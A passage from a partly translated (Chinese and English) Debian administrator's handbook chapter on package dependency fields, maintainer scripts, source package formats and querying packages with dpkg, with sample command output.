You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them (the package description or its documentation may contain information which extra functionality they will activate). The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

Enhances 欄位也描述建議，但是位於不同的內文。實際上位於建議套件內，而不是受益於建議的套件內。有可能在不修改套件的前提下新增建議。因此所有插件、外掛與其他的程式延伸可以顯示在與軟體相關的建議清單內。雖然已存在多年，但是 apt 或 synaptic 等程式依然忽略此欄位的存在。Enhances 欄位提出的建議係在傳統建議 — Suggests 欄位供使用者參考。

DEBIAN 政策 預相依，更苛刻的 相依

“預相依性”，列在套件標頭的 “Pre-Depends” 欄位，滿足完整的正常相依性；它的語法是相同的。正常相依性係指必須在宣告相依性前先解開並組態的問題套件。預相依性規定在執行套件的預安裝腳本前，必須先解開並組態套件，就是在安裝之前。

A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on <debian-devel@lists.debian.org> before adding a pre-dependency. It is generally possible to find another solution as a workaround.

5.2.1.2. 衝突： Conflicts 欄位

The Conflicts field indicates when a package cannot be installed simultaneously with another. The most common reasons for this are that both packages include a file of the same name and path, or provide the same service on the same TCP port, or would hinder each other's operation.

dpkg 不會安裝衝突的套件，除非新套件指明 “取代” 被衝突的套件，dpkg 才會以新的套件取代舊的套件。apt 總是遵循您的指示：若選擇安裝新套件，則自動移除造成問題的舊套件。

5.2.1.3. 不相容：Breaks 欄位

Breaks 欄位的影響類似於 Conflicts 欄位，但具有特殊的意義。指出安裝一個套件將 “中斷” 另個套件 (或特別版本的套件)。通常而言，兩個套件的不相容是短暫的，且 Breaks 關係係指不相容的特定版本。

已經中斷現有套件時，dpkg 將拒絕安裝並且 apt 將更新套件至新的版本試圖解決此問題 (通常可解決此問題，並再度相容)。

此狀況可能發生在未向下相容的昇級：新版本不再與舊版本相容，沒有特別安排將造成故障。Breaks 欄位避免使用者進入此問題。

5.2.1.4. 提供項目：Provides 欄位

這個欄位引進有趣的 “虛擬套件” 概念。它有很多角色，其中兩個特別重要。第一個是以虛擬套件關連至一個通用的服務 (此套件 “提供” 此服務)。第二個是指出此套件完全取代另個套件，它也能滿足相依性的要求。因此，可能建立替代套件而不必使用相同名稱的套件。

術語 中介套件與虛擬套件

必須從虛擬套件中明確的分離出中介套件。後者是真實的套件 (包括真實的 .deb 檔案)，其唯一目的是用來表示其相依性。

然而，虛擬套件並未真實的存在；祗是依照通用、邏輯範圍 (提供的服務、相容於標準程式或已存在的套件等) 辨認真實套件的手段。

5.2.1.4.1. 提供 “服務”

讓我們以範例詳述第一個案子：postfix 或 sendmail 之類的郵件伺服器都 “提供” mail-transport-agent 虛擬套件。因此需要啟用該等服務的套件 (如：smartlist 或 sympa 之類的郵寄名單管理器) 祗要在其相依性裡敘明需要 mail-transport-agent 而不是指明還不相容的可能解決方案清單 (如 postfix | sendmail | exim4 | …)。更進一步來說，在同個機器安裝兩個郵件伺服器是沒有用的，因此每個套件都聲明與 mail-transport-agent 虛擬套件衝突。系統忽略衝突的兩個套件，但技術上可以禁止同時安裝兩個郵件伺服器。

DEBIAN 政策 虛擬套件清單

使用虛擬套件時，每個人都必須同意其名稱。這就是在 Debian 政策內把他們標準化的原因。此清單包括郵件伺服器 mail-transport-agent、C 語文編譯器 c-compiler、網頁瀏覽器 www-browser、網頁伺服器 httpd、FTP 伺服器 ftp-server、圖形模式終端機模擬器 x-terminal-emulator (xterm)、以及視窗管理員 x-window-manager。

The full list can be found on the Web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. 與另個套件的交換性

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.32.1 present in Bullseye). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

圖形 5.1. 使用 Provides 欄位以避免中斷相依性

此功能極有用，因為它永遠不可能預料變化莫測的發展，也不能重新命名、或者自動替換過時的軟體。

基本 Perl，程式語言

Perl (Practical Extraction and Report Language) is a very popular programming language. It has many ready-to-use modules that cover a vast spectrum of applications, and that are distributed by the CPAN (Comprehensive Perl Archive Network) servers, an exhaustive network of Perl packages.

→ https://www.perl.org/

→ https://www.cpan.org/

因為它是解譯語言，Perl 寫成的程式在執行前不需要編譯。所以也被稱為 “Perl 腳本”。

5.2.1.4.3. 過去的限制

Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6), despite the presence of Perl 5.10, would have never been considered as satisfied by the packaging system — while in fact it most likely was satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages, like perl 5.32.1, can assign a version to the virtual packages they provide, such as Provides: libdigest-md5-perl (= 2.55.01), and thus allow other packages to use versioned dependencies.

5.2.1.5. 取代檔案：Replaces 欄位

The Replaces field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails to install the package, stating that it cannot overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.

套件變更名稱或被包入其他套件時，就可合理地使用此欄位。這種情況也發生在維護者從相同的原始碼套件的執行套件中分離出檔案：被取代的檔案不再屬於舊的套件，祗屬於新的套件。

已安裝套件內的所有檔案都被取代後，就該移除此套件。最後，此欄位亦鼓勵 dpkg 移除衝突的被取代套件。

進一步 Tag 欄位

In the apt example at the beginning, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who dislike aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. 組態腳本

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

進一步 dpkg 的資料庫

已安裝套件的所有組態腳本，都以前置套件檔名的方式，儲存在 /var/lib/dpkg/info/ 資料夾。此資料夾包括每個套件的延伸檔名 .list，包括屬於該套件的檔案清單。

/var/lib/dpkg/status 檔案包括一群資料塊 (以電子郵件標頭方式呈現，RFC 2822) 描述套件的狀態。已安裝套件的 control 檔案也複製於此。

In general, the preinst script is executed prior to installation of the package, while postinst follows it. Likewise, prerm is invoked before removal of a package and postrm afterwards. An update of a package is equivalent to removal of the previous version and installation of the new one. It is not possible to describe in detail all the possible scenarios here, but we will discuss the most common two: an installation/update and a removal.

注意 腳本名稱的象徵意義

本節描述的順序由特別名稱的組態腳本啟用，諸如 old-prerm 或 new-postinst。prerm 腳本是套件的舊版本 (未更新前的)而 postinst 腳本是在新版本 (經由更新安裝) 內。

提示 狀態圖

Manoj Srivastava and Margarita Manterola made the following diagrams explaining how the configuration scripts are called by dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. 安裝與升級

During the initial installation and for each upgrade of a package, dpkg calls the so called maintainer scripts such as the prerm or preinst scripts. These scripts can perform additional actions during the different stages of a package's life-cycle. Script names preceded by new- are the scripts from the new version of a package being installed or upgraded to. Script names preceded by old- are the scripts from the old version of a package that is being upgraded from.

During each invocation dpkg will pass certain arguments to each script such as upgrade new-version. The invoked script can then either handle the arguments and perform a particular action, or ignore the arguments and return with an exit code of 0, if nothing needs to be done during that step. In practice many packages will not need to perform an action during every step in the life cycle. Thus a typical configuration script will check for a particular argument and ignore all other ones, implicitly returning with exit code 0.

Here is what happens during an installation (or an update). The old-version, new-version and last-version-configured arguments are placeholders for the actual (old and new) version numbers of the package:

1. For an update, dpkg calls the old-prerm script and passes upgrade new-version as arguments.

2. Still for an update, dpkg then executes the new-preinst script with the arguments upgrade old-version; for the initial installation, it executes the new-preinst script and passes install as argument. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, and thus configuration files have been retained).

3. 解開新的套件。取代已存在的檔案，但暫時備份舊檔案。

4. For an update, dpkg executes the old-postrm script and passes upgrade new-version as arguments.

5. dpkg 升級所有的內部資料 (檔案清單、組態腳本等) 並且移除被取代檔案的備份。這是臨界點：dpkg 不能再近用回復稍早狀態的元素。

6. dpkg 將更新組態檔案，無法自動管理此工作時，要求使用者做決定。詳情在此 節 5.2.3, “Checksums, List of Configuration Files, et al.”。

7. Finally, dpkg configures the package by executing the new-postinst script with the arguments configure last-version-configured.

5.2.2.2. 移除套件

The steps to remove a package are analogous to the installation steps. The main difference is that the removal scripts of the package are called:

1. dpkg calls the prerm script and passes the remove argument.

2. dpkg removes all of the package's files, with the exception of the configuration files and maintainer scripts.

3. dpkg executes the postrm script and passes remove as argument. Afterwards, all of the maintainer scripts, except the postrm script, are removed. If the user has not used the “purge” option, the process stops here.

4. For a complete purge of the package (command issued with dpkg --purge or dpkg -P), the configuration files are also deleted, as well as a certain number of copies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) and temporary files; dpkg then executes the postrm script and passes purge as argument.

術語 Purge，完全移除

移除 Debian 套件時，仍保留組態檔案以備未來可能重新安裝該套件。同樣的，守護進程產生的資料 (諸如 LDAP 伺服器資料夾的內容、或 SQL 伺服器資料庫的內容) 也會被保留。

移除套件內所有資料，必須以指令 “清除” 該套件，dpkg -P 套件、apt-get remove --purge 套件 或 aptitude purge 套件。

移除該等資料，不能掉以輕心去清除。

config 腳本補充前述的 4 個腳本，套件以 debconf 取得組態用的資訊。安裝過程中，此腳本以 debconf 指令詢問使用者詳細的問題。把回應記錄在 debconf 資料庫供未來的參考。在安裝之前先由 apt 逐一執行該等腳本，歸納問題與回答。事前與事後安裝腳本可使用該等資訊回應使用者的期望。

工具 debconf

debconf 係用於解決重複出現於 Debian 的問題。Debian 所有的套件都需要 echo 與 read 命令於 postinst 殼腳本 (及其他類似腳本) 的最低組態才能提出問題。也就是說在大型安裝或升級過程裡，使用者必須在電腦旁回應這些隨時出現的問題。感謝 debconf 工具的出現，這些人工互動幾乎全部免除了。

debconf 包括很多有趣的功能：要求開發者指明使用者的互動；允許在地化顯示給使用者的字串 (描述互動的所有翻譯儲存在 templates 檔案)；顯示給使用者的前端問題 (文字模式、圖形模式、非互動式)；把回應集中在資料庫供其他電腦使用 ... 但最重要的已可把所有問題，在安裝或升級之前，以一列的模式顯示給使用者。使用者可以放任系統自行安裝，不必待在電腦旁，緊盯螢幕等待問題。

5.2.3. Checksums, List of Configuration Files, et al.

In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz archive of a Debian package may contain other interesting files.

The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in 節 14.3.4.1, “Auditing Packages with dpkg --verify”) and debsums (from the package of the same name; see 節 14.3.4.2, “Auditing Packages: debsums and its Limits”) to check if these files have been modified since their installation. Note that when this file doesn't exist, which might be the case for some older packages, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

The file conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

實際上，在此情況下，dpkg 儘可能地機靈：若在兩個版本間的標準組態檔並未改變， dpkg 就什麼事也不做。但是，若檔案改變動，就會更新此檔案。有兩種可能：管理員碰觸此組態檔時，由 dpkg 自動安裝新版本；或者被管理員修改過，dpkg 將要求管理員指定安裝的版本 (修訂過的舊版本、或套件提供的新版本)。為了有助於決定，dpkg 提供 “diff” 指令顯示兩個版本的差異。若選擇保留舊版本，新版仍儲存在同個資料夾其後綴檔名為 .dpkg-dist。若選擇使用新版本，舊仍儲存在同個資料夾其後綴檔名為 .dpkg-old。另一個作為是暫時中斷 dpkg 以編輯檔案並試圖重新安裝相關的修訂 (之前被 diff 驗証的差異)。

進一步 強迫 dpkg 詢問組態檔的問題

The --force-confask option requires dpkg to display the questions about the configuration files, even in cases where they would not normally be necessary. Thus, when reinstalling a package with this option, dpkg will ask the questions again for all of the configuration files modified or deleted by the administrator. This is very convenient, especially for reinstalling the original configuration file if it has been deleted and no other copy is available: a normal re-installation won't work, because dpkg considers removal as a form of legitimate modification, and, thus, doesn't install the desired configuration file.

See the sidebar 進一步 避免組態檔的問題 for how to use these options with APT.

進一步 避免組態檔的問題

dpkg 處理組態檔案升級，但經常中斷作業，要求管理者鍵入資料。如此一來，就不能以無中斷方式一氣呵成升級作業。此指令提供選項讓系統依同樣的邏輯自動回應：--force-confold 保留該檔案的舊版本；--force-confnew 使用該檔案的新版本 (即使該檔案未被管理者修改，仍使用指定的選擇，極少發生問題)。加入 --force-confdef 選項告訴 dpkg 在可能情況下自行決定 (換句話說，不改變原組態檔)，祗在其他的情況下，才使用 --force-confnew 或 --force-confold。

These options apply to dpkg and are explained in detail in dpkg(1) or dpkg --force-help, but most of the time the administrator will work directly with the aptitude or apt programs. It is, thus, necessary to know the syntax used to indicate the options to pass to the dpkg command (their command line interfaces are very similar).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

These options can also be stored directly in apt's configuration. To do so, simply write the following lines in the /etc/apt/apt.conf.d/local file:

Dpkg::Options {

"--force-confdef";

"--force-confold";

}

把此選項納入組態檔的意思是，將使用 aptitude 之類的圖形介面。

The control archive frequently contains other files as well, like triggers, shlibs, or symbols. These files are well described in deb-triggers(5), deb-shlibs(5), and deb-symbols(5).

Triggers were introduced to reduce the amount of duplicated events during package installation, such as file registration or catalog/database update tasks. Packages can define their own or activate defined triggers. A more comprehensive documentation can be found in /usr/share/doc/dpkg/triggers.txt.gz.

The shlibs system is an older and simpler alternative to the symbols system for declaring dependencies for shared libraries. It defines the package name and version in which to find a specific SONAME-version of a shared library. The newer symbols system allows to define the dependency by tracking the symbols and when they have been introduced or changed in the library instead.

5.3. 原始套件的結構

5.3.1. 格式

A source package is usually comprised of three files, a .dsc, a .orig.tar.gz, and a .debian.tar.xz (or .diff.gz). They allow creation of binary packages (.deb files described above) from the source code files of the program, which are written in a programming language.

.dsc (Debian Source Control) 檔案是包括 RFC 2822 標頭 (如同 control 檔案於 節 5.2.1, “描述：control 檔案”) 的簡短文字檔，描述原始套件及包括的其他檔案。由維護者簽署，保證其真實性。詳情見 節 6.6, “檢查套件真偽”。

範例 5.1. A .dsc 檔案

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.73.5-1

Maintainer: Zim Package Maintainers <zim@packages.debian.org>

Uploaders: Raphaël Hertzog <hertzog@debian.org>

Homepage: https://zim-wiki.org

Standards-Version: 4.5.1

Vcs-Browser: https://salsa.debian.org/debian/zim

Vcs-Git: https://salsa.debian.org/debian/zim.git

Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python

Package-List:

zim deb x11 optional arch=all

Checksums-Sha1:

80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz

b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz

Checksums-Sha256:

a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz

6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz

Files:

fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz

a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC

mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE

HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY

X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq

gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1

L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve

KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ==

=YFDk

-----END PGP SIGNATURE-----

需注意原始套件和可執行套件一樣有相依性 (Build-Depends)，指出編譯有問題軟體與建構其可執行套件的工具。

注意 不同的命名空間

需注意，原始套件與其產生的可執行套件間，不需使用對應的名稱。每個原始套件可能產生多個可執行套件。所以 .dsc 檔案有 Source 與 Binary 欄位記錄原始套件的名稱與其產生的可執行套件清單。

文化 為什麼分為多個套件

通常，一個原始套件 (供指定軟體使用) 可產生多個可執行檔。因為可以在不同的環境使用 (部份) 軟體。在共享程式庫裡，可以安裝於構成應用作用 (如，libc6)、或可以安裝以構成新的程式 (libc6-dev 然後形成正確的套件)。在主從服務裡發現同樣的邏輯，在一部機器安裝伺服器的內容同時在另部機器安裝客戶端的內容 (在此情況下，是 openssh-server 與 openssh-client)。

Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared among all of the architectures (instead of having the documentation duplicated in the packages for each architecture).

透視 原始套件的不同格式

本來祗有一種原始套件的格式。就是 1.0 格式，與 .orig.tar.gz 和 .diff.gz “debian 化” 套件有關 (還有一個變種，由一個 .tar.gz 檔案構成，若無 .orig.tar.gz 可用時自動取用它)。

Since Debian 6 Squeeze, Debian developers have the option to use new formats that correct many problems of the historical format. Format 3.0 (quilt) can combine multiple upstream archives in the same source package: in addition to the usual .orig.tar.gz, supplementary .orig-component.tar.gz archives can be included. This is useful with software that is distributed in several upstream components but for which a single source package is desired. These archives can also be compressed with xz rather than gzip, which saves disk space and network resources. Finally, the monolithic patch, .diff.gz is replaced by a .debian.tar.xz archive containing the compiling instructions and a set of upstream patches contributed by the package maintainer. These last are recorded in a format compatible with quilt — a tool that facilitates the management of a series of patches.

.orig.tar.gz 檔案包括原發展者提供的原始碼。要求 Debian 的套件維護者不要修改它，以便檢查原來的檔案與整合後的檔案 (比較校驗碼就知道) 並且尊重其他著者的意願。

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct one or more Debian binary packages.

工具 解壓縮原始套件

使用原始套件時，您可使用 dpkg-source 指令 (從 dpkg-dev 套件取得) 解壓縮它：

$ dpkg-source -x zim_0.73.5-1.dsc

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

You can also use apt to download a source package and unpack it right away. It requires that the appropriate deb-src lines be present in the /etc/apt/sources.list file, however (for further details, see 節 6.1, “寫入 sources.list 檔案”). These are used to list the “sources” of source packages (meaning the servers on which a group of source packages are hosted).

$ apt source package

Reading package lists... Done

NOTICE: 'zim' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/debian/zim.git

Please use:

git clone https://salsa.debian.org/debian/zim.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 2,172 kB of source archives.

Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B]

Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB]

Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB]

Fetched 2,172 kB in 0s (7,176 kB/s)

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Debian 內的使用

The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them. 章 15, 建立一個套裝軟體 contains some examples.

When a new version of a source package arrives on the Debian server, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian.

→ https://buildd.debian.org/

GOING FURTHER Source only maintainer uploads

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component must be built automatically from mandatory source-only uploads. While binary uploads are still allowed for the contrib and non-free components, we will not focus on this possibility as it should only be the exception.

5.4. 以 dpkg 管理套件

dpkg is the base command for handling Debian packages on the system. If you have .deb packages, it is dpkg that allows installation or analysis of their contents. But this program only has a partial view of the Debian universe: it knows what is installed on the system, and whatever it is given on the command line, but knows nothing of the other available packages. As such, it will fail if a dependency is not met. Tools such as apt and aptitude, on the contrary, will create a list of dependencies to install everything as automatically as possible.

說明 dpkg 或 apt?

dpkg 應視為系統工具 (背景) 之一，而 apt 則是較傾向使用者的工具，可克服前者的限制。這些工具各有其限制，共同解決特定的作業。

5.4.1. 安裝套件

首先，dpkg 是安裝 Debian 已經可用套件的工具 (因為不需下載任何東西)。我們使用它的 -i 或 --install 選項。

範例 5.2. 以 dpkg 安裝套件

# dpkg -i man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.8.5-2) ...

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

Processing triggers for mailcap (3.69) ...

We can see the different steps performed by dpkg; we know, thus, at what point any error may have occurred. The installation can also be effected in two stages: first unpacking, then configuration. apt takes advantage of this, limiting the number of calls to dpkg (since each call is costly, due to loading of the database in memory, especially the list of already installed files).

範例 5.3. 分開解壓與組態

# dpkg --unpack man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.9.4-2) ...

Processing triggers for mailcap (3.69) ...

# dpkg --configure man-db

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

dpkg 安裝套件時偶而失敗並送回錯誤的訊息；若使用者要求忽略該等訊息，就能送出警示；這就是 --force-* 選項的用途。dpkg --force-help 命令，或此命令的文件，將提供完整的選項。最常發生的錯誤，遲早每個人都會碰到，就是檔案衝突。已被其他套件安裝使用的檔案，另個套件同時需要用到它時，dpkg 會於安裝時再次使手它。此時出現以下的訊息：

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...

dpkg: 處理 /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack) 時發生錯誤:

試圖覆寫 '/usr/bin/gdmflexiserver'，也同時在套件 gdm3 3.4.1-9 內

碰到此情況，若您認為取代此檔案不會對系統的穩定產生重大的風險 (通常如此)，您可使用選項 --force-overwrite，告訴 dpkg 忽略此錯誤並覆寫該檔案。

While there are many available --force-* options, only --force-overwrite is likely to be used regularly. These options only exist for exceptional situations, rarely encountered in Debian Stable. It is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.

注意 有效使用 --force-*

若不小心使用 --force-* 的選項，可能造成 APT 命令家族拒絕運作的困境。在相依性不足或衝突的情況下，使用部份選項後，仍可安裝該等套件。結果就是相依性不足的不一致系統，APT 命令將拒絕執行任何工作，直到系統恢復一致 (通常包括安裝遺失的相依套件或移除問題套件)。通常出現以下的訊息，安裝新版 rdesktop 時忽略其對新版 libc6 的相依性：

# apt full-upgrade

[...]

You might want to run 'apt-get -f install' to correct these.

The following packages have unmet dependencies:

rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: Unmet dependencies. Try using -f.

確信其分析結果的勇敢管理者，可能選擇忽略使用 --force-* 選項時發生的相依性問題與衝突。結果是，想要繼續使用 apt 或 aptitude 的話，他們必須先編輯 /var/lib/dpkg/status 以刪除/修改相依性問題或衝突。

This manipulation is an ugly hack, and should never be used, except in the most extreme case of necessity. Quite frequently, a more fitting solution is to recompile the package that is causing the problem (see 節 15.1, “Rebuilding a Package from its Sources”) or use a new version (potentially corrected) from a repository such as the stable-backports one (see 節 6.1.2.4, “穩定回移”).

5.4.2. 移除套件

Invoking dpkg with the -r or --remove option, followed by the name of a package, removes that package. This removal is, however, not complete: all of the configuration files, maintainer scripts, log files (system logs) and other user data handled by the package remain. That way disabling the program is easily done by uninstalling it, and it is still possible to quickly reinstall it with the same configuration. To completely remove everything associated with a package, use the -P or --purge option, followed by the package name.

範例 5.4. 移除與清除 debian-cd 套件

# dpkg -r debian-cd

(Reading database ... 228705 files and directories currently installed.)

Removing debian-cd (3.1.35) ...

# dpkg -P debian-cd

(Reading database ... 228049 files and directories currently installed.)

Purging configuration files for debian-cd (3.1.35) ...

5.4.3. 查詢 dpkg 的資料庫與檢查 .deb 檔案

回到 選項語法

“長” 版 (一個或多個字，前置兩個連結號) 與 “短” 版 (一個字母，通常是長版字的第一個字母，前置一個連結號) 套件都有該等選項。這是 POSIX 標準常見的用法。

Before concluding this section, we will study dpkg options that query the internal database in order to obtain information. Giving first the long options and then corresponding short options (that will evidently take the same possible arguments) we cite

- --listfiles package (or -L), which lists the files installed by this package;

- --search file (or -S), which finds the package(s) containing the file;

- --status package (or -s), which displays the headers of an installed package;

- --list (or -l), which displays the list of packages known to the system and their installation status;

- --contents file.deb (or -c), which lists the files in the Debian package specified;

- --info file.deb (or -I), which displays the headers of this Debian package.

CAUTION dpkg --search and merged /usr

For various reasons, Debian now installs by default a few top-level directories as symlinks to their counterparts below /usr. For instance, /bin, /sbin and /lib are now symlinks to, respectively, /usr/bin, /usr/sbin and /usr/lib.

While this does provide desirable benefits, it can also be a source of confusion. For example, when you query dpkg which package is owning a given file, it will only be able to answer when you ask for its original path:

$ dpkg --search /bin/mount

mount: /bin/mount

$ dpkg --search /usr/bin/mount

dpkg-query: no path found matching pattern /usr/bin/mount

$ dpkg --search /bin/apt

dpkg-query: no path found matching pattern /bin/apt

$ dpkg --search /usr/bin/apt

apt: /usr/bin/apt

This issue is currently tracked as bug #858331. There is also an ongoing discussion if the approach used so far is counterproductive.

→ https://bugs.debian.org/858331

範例 5.5. dpkg 的各種查詢

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/base-passwd

/usr/share/base-passwd/group.master

/usr/share/base-passwd/passwd.master

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/README

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/man

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 17478

Maintainer: Michael Stone <mstone@debian.org>

Architecture: amd64

Multi-Arch: foreign

Source: coreutils (8.32-4)

Version: 8.32-4+b1

Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~)

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt

od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm

rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac

tail tee test timeout touch tr true truncate tsort tty uname unexpand

uniq unlink users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*'

Desired=Unknown/Install/Remove/Purge/Hold

